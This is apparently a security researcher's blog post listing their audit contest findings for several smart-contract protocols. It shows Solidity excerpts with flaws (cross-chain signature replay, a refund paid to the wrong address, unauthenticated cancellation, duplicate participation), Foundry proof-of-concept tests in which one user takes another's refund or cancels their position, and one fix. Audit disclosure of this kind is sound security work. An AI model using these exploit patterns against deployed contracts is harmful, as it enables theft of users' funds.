Post

Audit Contest - I (Code4rena, Cyfrin, Sherlock)

Overview

  • Next Generation
    • Signature replayable across multiple chaines (Low) [link]
  • RAAC (soon)
  • Gamma (soon)
  • Rova Protocol (With PoC) // unfortunately, this is vulnerability but it’s very difficult to exploit, so it’s considered invalid…
    • Drain of funds in the Rova protocol due to refunds being sent to an incorret address (High) [link]
    • Unauthorized Cancellation of another user’s participation (Medium) [link]
    • Fairess disruption due to duplicate launch participation (Medium) [link]
  • DatingDapp (Frist Flights)
    • The deposit for liking someone is locked forever (High) [link]
    • Reward is always set to 0, no reward can be received (High) [link]
    • Due to fees not being collected, the service suffers financial losses (High) [link]

Next generation

[NG/L-01] Signature replayable across multiple chaines

Root Cause

1
2
3
4
5
6
7
8
9
10
11
12
13
    function _verifySig(
        ForwardRequest memory req,
        bytes32 domainSeparator,
        bytes32 requestTypeHash,
        bytes memory suffixData,
        bytes memory sig
    ) internal view {
        require(typeHashes[requestTypeHash], "NGEUR Forwarder: invalid request typehash");
        bytes32 digest = keccak256(
            abi.encodePacked("\x19\x01", domainSeparator, keccak256(_getEncoded(req, requestTypeHash, suffixData)))
        );
        require(digest.recover(sig) == req.from, "NGEUR Forwarder: signature mismatch");
    }

the contract does not enforce block.chainid in signature verification, making the same signature replayable across multiple chains (Ethereum,Polygon)


RAAC (Soon)


Gamma (Soon)


Rova Protocol

[Rova/H-01] Drain of user’s funds in the Rova protocol due to refunds being sent to an incorrect address

Root Cause

1
2
3
4
5
6
7
8
9
10
11
12
13
14
        if (prevInfo.currencyAmount > newCurrencyAmount) {
            // Calculate refund amount
            uint256 refundCurrencyAmount = prevInfo.currencyAmount - newCurrencyAmount;
            // Validate user new requested token amount is greater than min token amount per user
            if (userTokenAmount - refundCurrencyAmount < settings.minTokenAmountPerUser) {
                revert MinUserTokenAllocationNotReached(
                    request.launchGroupId, request.userId, userTokenAmount, request.tokenAmount
                );
            }
            // Update total tokens requested for user for launch group
            userTokens.set(request.userId, userTokenAmount - refundCurrencyAmount);
            // Transfer payment currency from contract to user
            IERC20(request.currency).safeTransfer(msg.sender, refundCurrencyAmount);
// https://github.com/sherlock-audit/2025-02-rova-loptusKR/blob/main/rova-contracts/src/Launch.sol#L351L363

after a user participates in a sale, they can update the amount of tokens requested using the updateParticipation() function. if the updated amount is greater than the previous amount, the user must pay the difference; however, if it is lower, they are not required to pay extra, but instead receive a refund for the difference. The problem is that when refunding the difference, the recipient’s address is not managed correctly, which could allow someone else to steal the refund amount

in the refund transfer section, funds are sent to msg.sender instead of prevInfo.userAddress. therefore, if an attacker uses another user’s LaunchParticipationId, they could steal the refund amount associated with that LaunchParticipationId

PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.8.22;

import {IERC20Errors} from "@openzeppelin/contracts/interfaces/draft-IERC6093.sol";
import {PausableUpgradeable} from "@openzeppelin/contracts-upgradeable/utils/PausableUpgradeable.sol";
import {Test} from "forge-std/Test.sol";
import {console} from "forge-std/console.sol";
import {LaunchTestBase} from "./LaunchTestBase.t.sol";
import {Launch} from "../src/Launch.sol";
import {
    LaunchGroupSettings,
    LaunchGroupStatus,
    ParticipationRequest,
    UpdateParticipationRequest,
    ParticipationInfo,
    CurrencyConfig
} from "../src/Types.sol";

contract LaunchUpdateParticipationTest is Test, Launch, LaunchTestBase {
    LaunchGroupSettings public settings;
    ParticipationRequest public originalParticipationRequest;

    function setUp() public {
        _setUpLaunch();
    }

    function test_exploit() public {
        // Setup initial participation
        settings = _setupLaunchGroup();
        // victim's request
        originalParticipationRequest = _createParticipationRequest();
        bytes memory signature = _signRequest(abi.encode(originalParticipationRequest));
        console.log("victim's balance before ex : ", currency.balanceOf(user1));
        vm.startPrank(user1);
        currency.approve(
            address(launch),
            _getCurrencyAmount(
                originalParticipationRequest.launchGroupId,
                originalParticipationRequest.currency,
                originalParticipationRequest.tokenAmount
            )
        );
        launch.participate(originalParticipationRequest, signature);

        vm.stopPrank();

        // attacker's request
        UpdateParticipationRequest memory updateRequest = _createUpdateParticipationRequest(500);
        bytes memory updateSignature = _signRequest(abi.encode(updateRequest));

        vm.startPrank(user2);
        console.log("attacker's balance before ex : ", currency.balanceOf(user2));
        uint256 updatedCurrencyAmount =
            _getCurrencyAmount(updateRequest.launchGroupId, updateRequest.currency, updateRequest.tokenAmount);
        currency.approve(address(launch), updatedCurrencyAmount);

        // Update participation
        launch.updateParticipation(updateRequest, updateSignature);
        console.log("victim's balance after ex : ", currency.balanceOf(user1));
        console.log("attacker's balance after ex : ", currency.balanceOf(user2));
        vm.stopPrank();
    }

    function _createUpdateParticipationRequest(uint256 newTokenAmount)
        internal
        view
        returns (UpdateParticipationRequest memory)
    {
        uint256 launchTokenDecimals = launch.tokenDecimals();
        return UpdateParticipationRequest({
            chainId: block.chainid,
            launchId: testLaunchId,
            launchGroupId: testLaunchGroupId,
            prevLaunchParticipationId: testLaunchParticipationId,
            newLaunchParticipationId: "newLaunchParticipationId",
            userId: testUserId,
            userAddress: user2,
            tokenAmount: newTokenAmount * 10 ** launchTokenDecimals,
            currency: address(currency),
            requestExpiresAt: block.timestamp + 1 hours
        });
    }
}

this is proof that user2 stole user1’s refund

Mitigation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
        if (prevInfo.currencyAmount > newCurrencyAmount) {
            // Calculate refund amount
            uint256 refundCurrencyAmount = prevInfo.currencyAmount - newCurrencyAmount;
            // Validate user new requested token amount is greater than min token amount per user
            if (userTokenAmount - refundCurrencyAmount < settings.minTokenAmountPerUser) {
                revert MinUserTokenAllocationNotReached(
                    request.launchGroupId, request.userId, userTokenAmount, request.tokenAmount
                );
            }
            // Update total tokens requested for user for launch group
            userTokens.set(request.userId, userTokenAmount - refundCurrencyAmount);
            // Transfer payment currency from contract to user
-          IERC20(request.currency).safeTransfer(msg.sender, refundCurrencyAmount);
+          IERC20(request.currency).safeTransfer(prevInfo.userAddress, refundCurrencyAmount);

modify it so that the refund address is retrieved from previnfo as shown above

[Rova/M-01] Unauthorized Cancellation of another user’s participation

Root Cause

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
    function cancelParticipation(CancelParticipationRequest calldata request, bytes calldata signature)
        external
        nonReentrant
        whenNotPaused
        onlyLaunchGroupStatus(request.launchGroupId, LaunchGroupStatus.ACTIVE)
    {
        // Validate request is intended for this launch and unexpired
        _validateRequest(
            request.launchId, request.launchGroupId, request.chainId, request.requestExpiresAt, request.userAddress
        );
        // Validate launch group is open for participation
        LaunchGroupSettings memory settings = launchGroupSettings[request.launchGroupId];
        _validateTimestamp(settings);
        // Validate request signature is from signer role
        _validateRequestSignature(keccak256(abi.encode(request)), signature);

        ParticipationInfo storage info = launchGroupParticipations[request.launchParticipationId];
        // If launch group finalizes at participation, the participation is considered complete and not updatable
        if (settings.finalizesAtParticipation) {
            revert ParticipationUpdatesNotAllowed(request.launchGroupId, request.launchParticipationId);
        }
        if (info.isFinalized) {
            revert ParticipationUpdatesNotAllowed(request.launchGroupId, request.launchParticipationId);
        }

        // Validate userId is the same which also checks if participation exists
        if (request.userId != info.userId) {
            revert UserIdMismatch(info.userId, request.userId);
        }

        // Get total tokens requested for user for launch group
        EnumerableMap.Bytes32ToUintMap storage userTokens = _userTokensByLaunchGroup[request.launchGroupId];
        (, uint256 userTokenAmount) = userTokens.tryGet(request.userId);
        if (userTokenAmount - info.tokenAmount == 0) {
            // If total tokens requested for user is the same as the cancelled participation, remove user from launch group
            userTokens.remove(request.userId);
        } else if (userTokenAmount - info.tokenAmount < settings.minTokenAmountPerUser) {
            // Total tokens requested for user after cancellation must be greater than min token amount per user
            revert MinUserTokenAllocationNotReached(
                request.launchGroupId, request.userId, userTokenAmount, info.tokenAmount
            );
        } else {
            // Subtract cancelled participation token amount from total tokens requested for user
            userTokens.set(request.userId, userTokenAmount - info.tokenAmount);
        }

        // Transfer payment currency from contract to user
        uint256 refundCurrencyAmount = info.currencyAmount;
        IERC20(info.currency).safeTransfer(info.userAddress, refundCurrencyAmount);

        // Reset participation info
        info.tokenAmount = 0;
        info.currencyAmount = 0;

        emit ParticipationCancelled(
            request.launchGroupId,
            request.launchParticipationId,
            request.userId,
            msg.sender,
            refundCurrencyAmount,
            info.currency
        );
    }
// https://github.com/sherlock-audit/2025-02-rova-loptusKR/blob/main/rova-contracts/src/Launch.sol#L404L466

the cancelParticipation() function is capable of canceling an existing participation, but because it doesn’t verify that the caller is the owner of the participation, it allows someone to forcibly cancel another user’s participation. due to the lack of identity verification in the cancelParticipation() function, a malicious user can cancel all existing participations

PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.8.22;

import {PausableUpgradeable} from "@openzeppelin/contracts-upgradeable/utils/PausableUpgradeable.sol";
import {Test} from "forge-std/Test.sol";
import {console} from "forge-std/console.sol";
import {LaunchTestBase} from "./LaunchTestBase.t.sol";
import {Launch} from "../src/Launch.sol";
import {
    LaunchGroupSettings,
    LaunchGroupStatus,
    ParticipationRequest,
    ParticipationInfo,
    CancelParticipationRequest
} from "../src/Types.sol";

contract LaunchCancelParticipationTest is Test, Launch, LaunchTestBase {
    LaunchGroupSettings public settings;

    function setUp() public {
        _setUpLaunch();
    }

    function test_CancelanotherUsersparticipation() public {
        settings = _setupLaunchGroup();
        ParticipationRequest memory request = _createParticipationRequest();
        bytes memory signature = _signRequest(abi.encode(request));
        vm.startPrank(user1);
        currency.approve(
            address(launch), _getCurrencyAmount(request.launchGroupId, request.currency, request.tokenAmount)
        );
        launch.participate(request, signature);
        ParticipationInfo memory info = launch.getParticipationInfo(request.launchParticipationId);
        console.log("User1's balance after participation : ", currency.balanceOf(user1));
        console.log("info.tokenAmount before ex : ", info.tokenAmount);
        console.log("info.currencyAmount before ex: ", info.currencyAmount);
        vm.stopPrank();

        // User2 cancels their own participation.
        vm.startPrank(user2);
        CancelParticipationRequest memory cancelRequest = CancelParticipationRequest({
            chainId: block.chainid,
            launchId: testLaunchId,
            launchGroupId: testLaunchGroupId,
            launchParticipationId: testLaunchParticipationId,
            userId: testUserId,
            userAddress: user2,
            requestExpiresAt: block.timestamp + 1 hours
        });
        bytes memory cancelSignature = _signRequest(abi.encode(cancelRequest));

        launch.cancelParticipation(cancelRequest, cancelSignature);

        ParticipationInfo memory _info = launch.getParticipationInfo(cancelRequest.launchParticipationId);
        console.log("User1's balance after user2 cancels their participation : ", currency.balanceOf(user1));
        console.log("info.tokenAmount after ex : ", _info.tokenAmount);
        console.log("info.currencyAmount after ex: ", _info.currencyAmount);
        vm.stopPrank();
    }
}

this is proof that user2 forcibly canceled user1’s participation

[Rova/M-02] Fairess disruption due to duplicate launch participation

Root Cause

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
    function participate(ParticipationRequest calldata request, bytes calldata signature)
        external
        nonReentrant
        whenNotPaused
        onlyLaunchGroupStatus(request.launchGroupId, LaunchGroupStatus.ACTIVE)
    {
        // Validate request is intended for this launch and unexpired
        _validateRequest(
            request.launchId, request.launchGroupId, request.chainId, request.requestExpiresAt, request.userAddress
        );
        LaunchGroupSettings memory settings = launchGroupSettings[request.launchGroupId];

        // Validate launch group is open for participation
        _validateTimestamp(settings);

        // Validate request signature is from signer role
        _validateRequestSignature(keccak256(abi.encode(request)), signature);

        // Validate payment currency is enabled for launch group
        uint256 tokenPriceBps = _validateCurrency(request.launchGroupId, request.currency);

        // Do not allow replay of launch participation ID
        if (launchGroupParticipations[request.launchParticipationId].userId != bytes32(0)) {
            revert ParticipationAlreadyExists(request.launchParticipationId);
        }

        // If launch group does not finalize at participation, users should perform updates instead
        // This is checked by checking if the user has already requested tokens under the launch group
        EnumerableMap.Bytes32ToUintMap storage userTokens = _userTokensByLaunchGroup[request.launchGroupId];
        (, uint256 userTokenAmount) = userTokens.tryGet(request.userId);
        if (userTokenAmount > 0) {
            if (!settings.finalizesAtParticipation) {
                revert MaxUserParticipationsReached(request.launchGroupId, request.userId);
            }
        }

        // Validate user requested token amount is within launch group user allocation limits
        uint256 newUserTokenAmount = userTokenAmount + request.tokenAmount;
        if (newUserTokenAmount > settings.maxTokenAmountPerUser) {
            revert MaxUserTokenAllocationReached(
                request.launchGroupId, request.userId, userTokenAmount, request.tokenAmount
            );
        }
        if (newUserTokenAmount < settings.minTokenAmountPerUser) {
            revert MinUserTokenAllocationNotReached(
                request.launchGroupId, request.userId, userTokenAmount, request.tokenAmount
            );
        }

        // Calculate payment amount in requested currency based on token price and requested token amount
        uint256 currencyAmount = _calculateCurrencyAmount(tokenPriceBps, request.tokenAmount);

        // Store participation info for user
        ParticipationInfo storage info = launchGroupParticipations[request.launchParticipationId];

        // If launch group finalizes at participation, the participation is considered complete and not updatable
        if (settings.finalizesAtParticipation) {
            // Validate launch group max token allocation has not been reached
            (, uint256 currTotalTokensSold) = _tokensSoldByLaunchGroup.tryGet(request.launchGroupId);
            if (settings.maxTokenAllocation < currTotalTokensSold + request.tokenAmount) {
                revert MaxTokenAllocationReached(request.launchGroupId);
            }
            // Update total withdrawable amount for payment currency
            (, uint256 withdrawableAmount) = _withdrawableAmountByCurrency.tryGet(request.currency);
            _withdrawableAmountByCurrency.set(request.currency, withdrawableAmount + currencyAmount);
            // Mark participation as finalized
            info.isFinalized = true;
            // Update total tokens sold for launch group
            _tokensSoldByLaunchGroup.set(request.launchGroupId, currTotalTokensSold + request.tokenAmount);
        }
        // Set participation details for user
        info.userAddress = msg.sender;
        info.userId = request.userId;
        info.tokenAmount = request.tokenAmount;
        info.currencyAmount = currencyAmount;
        info.currency = request.currency;

        // Update total tokens requested for user for launch group
        userTokens.set(request.userId, newUserTokenAmount);
        // Transfer payment currency from user to contract
        IERC20(request.currency).safeTransferFrom(msg.sender, address(this), currencyAmount);

        emit ParticipationRegistered(
            request.launchGroupId,
            request.launchParticipationId,
            request.userId,
            msg.sender,
            currencyAmount,
            request.currency
        );
    }
https://github.com/dpm-labs/rova-contracts/blob/main/src/Launch.sol#L215L305

the lack of a proper uniqueness check in Launch.sol allows users to bypass the participation limit by using multiple launchParticipationIds, leading to unfair distribution and potential abuse of the launch allocation. the function participate() only checks if a participation ID has been used before but does not validate if a user has already participated using a different launchParticipationId. this allows users to create multiple participations under different IDs and bypass participation limits

PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.8.22;

import {IERC20Errors} from "@openzeppelin/contracts/interfaces/draft-IERC6093.sol";
import {PausableUpgradeable} from "@openzeppelin/contracts-upgradeable/utils/PausableUpgradeable.sol";
import {Test} from "forge-std/Test.sol";
import {LaunchTestBase} from "./LaunchTestBase.t.sol";
import {Launch} from "../src/Launch.sol";
import {
    CancelParticipationRequest,
    LaunchGroupSettings,
    LaunchGroupStatus,
    ParticipationRequest,
    ParticipationInfo,
    CurrencyConfig
} from "../src/Types.sol";

contract LaunchParticipateTest is Test, Launch, LaunchTestBase {
    function setUp() public {
        _setUpLaunch();
    }

    function test_duplicate_participation() public {
        // Setup launch group
        _setupLaunchGroup();

        // First participation request
    
        ParticipationRequest memory request = ParticipationRequest({
            chainId: block.chainid,
            launchId: testLaunchId,
            launchGroupId: testLaunchGroupId,
            launchParticipationId: "cm6o2sldi00003b74facm5z9n",
            userId: "cm6o2tm1300003b74dsss1s7q",
            userAddress: user1,
            tokenAmount: 1000 * 10 ** launch.tokenDecimals(),
            currency: address(currency),
            requestExpiresAt: block.timestamp + 1 hours
        });
        bytes memory signature = _signRequest(abi.encode(request));
        vm.startPrank(user1);
        uint256 currencyAmount = _getCurrencyAmount(request.launchGroupId, request.currency, request.tokenAmount);
        currency.approve(address(launch), currencyAmount);
        vm.expectEmit();
        emit ParticipationRegistered(
            request.launchGroupId, request.launchParticipationId, testUserId, user1, currencyAmount, address(currency)
        );
        launch.participate(request, signature);

        // Verify participation
        ParticipationInfo memory info = launch.getParticipationInfo(request.launchParticipationId);
        assertEq(info.userAddress, user1);

        // Second participation request
        ParticipationRequest memory request1 = ParticipationRequest({
            chainId: block.chainid,
            launchId: testLaunchId,
            launchGroupId: testLaunchGroupId,
            launchParticipationId: "cm6o2sldi00003b74facm5z9k",
            userId: "cm6o2tm1300003b74dsss1s7k",
            userAddress: user1,
            tokenAmount: 1000 * 10 ** launch.tokenDecimals(),
            currency: address(currency),
            requestExpiresAt: block.timestamp + 1 hours
        });
        bytes memory signature1 = _signRequest(abi.encode(request1));
        vm.startPrank(user1);
        uint256 currencyAmount1 = _getCurrencyAmount(request1.launchGroupId, request1.currency, request1.tokenAmount);
        currency.approve(address(launch), currencyAmount1);
        vm.expectEmit();
        emit ParticipationRegistered(
            request1.launchGroupId, request1.launchParticipationId, "cm6o2tm1300003b74dsss1s7k", user1, currencyAmount1, address(currency)
        );
        launch.participate(request1, signature1);

        // Verify participation
        ParticipationInfo memory info1 = launch.getParticipationInfo(request1.launchParticipationId);
        assertEq(info1.userAddress, user1);

        vm.stopPrank();
    }
}

this is proof of duplicate participation by one user in a sale

This post is licensed under CC BY 4.0 by the author.

© Some rights reserved.

Using the Chirpy theme for Jekyll.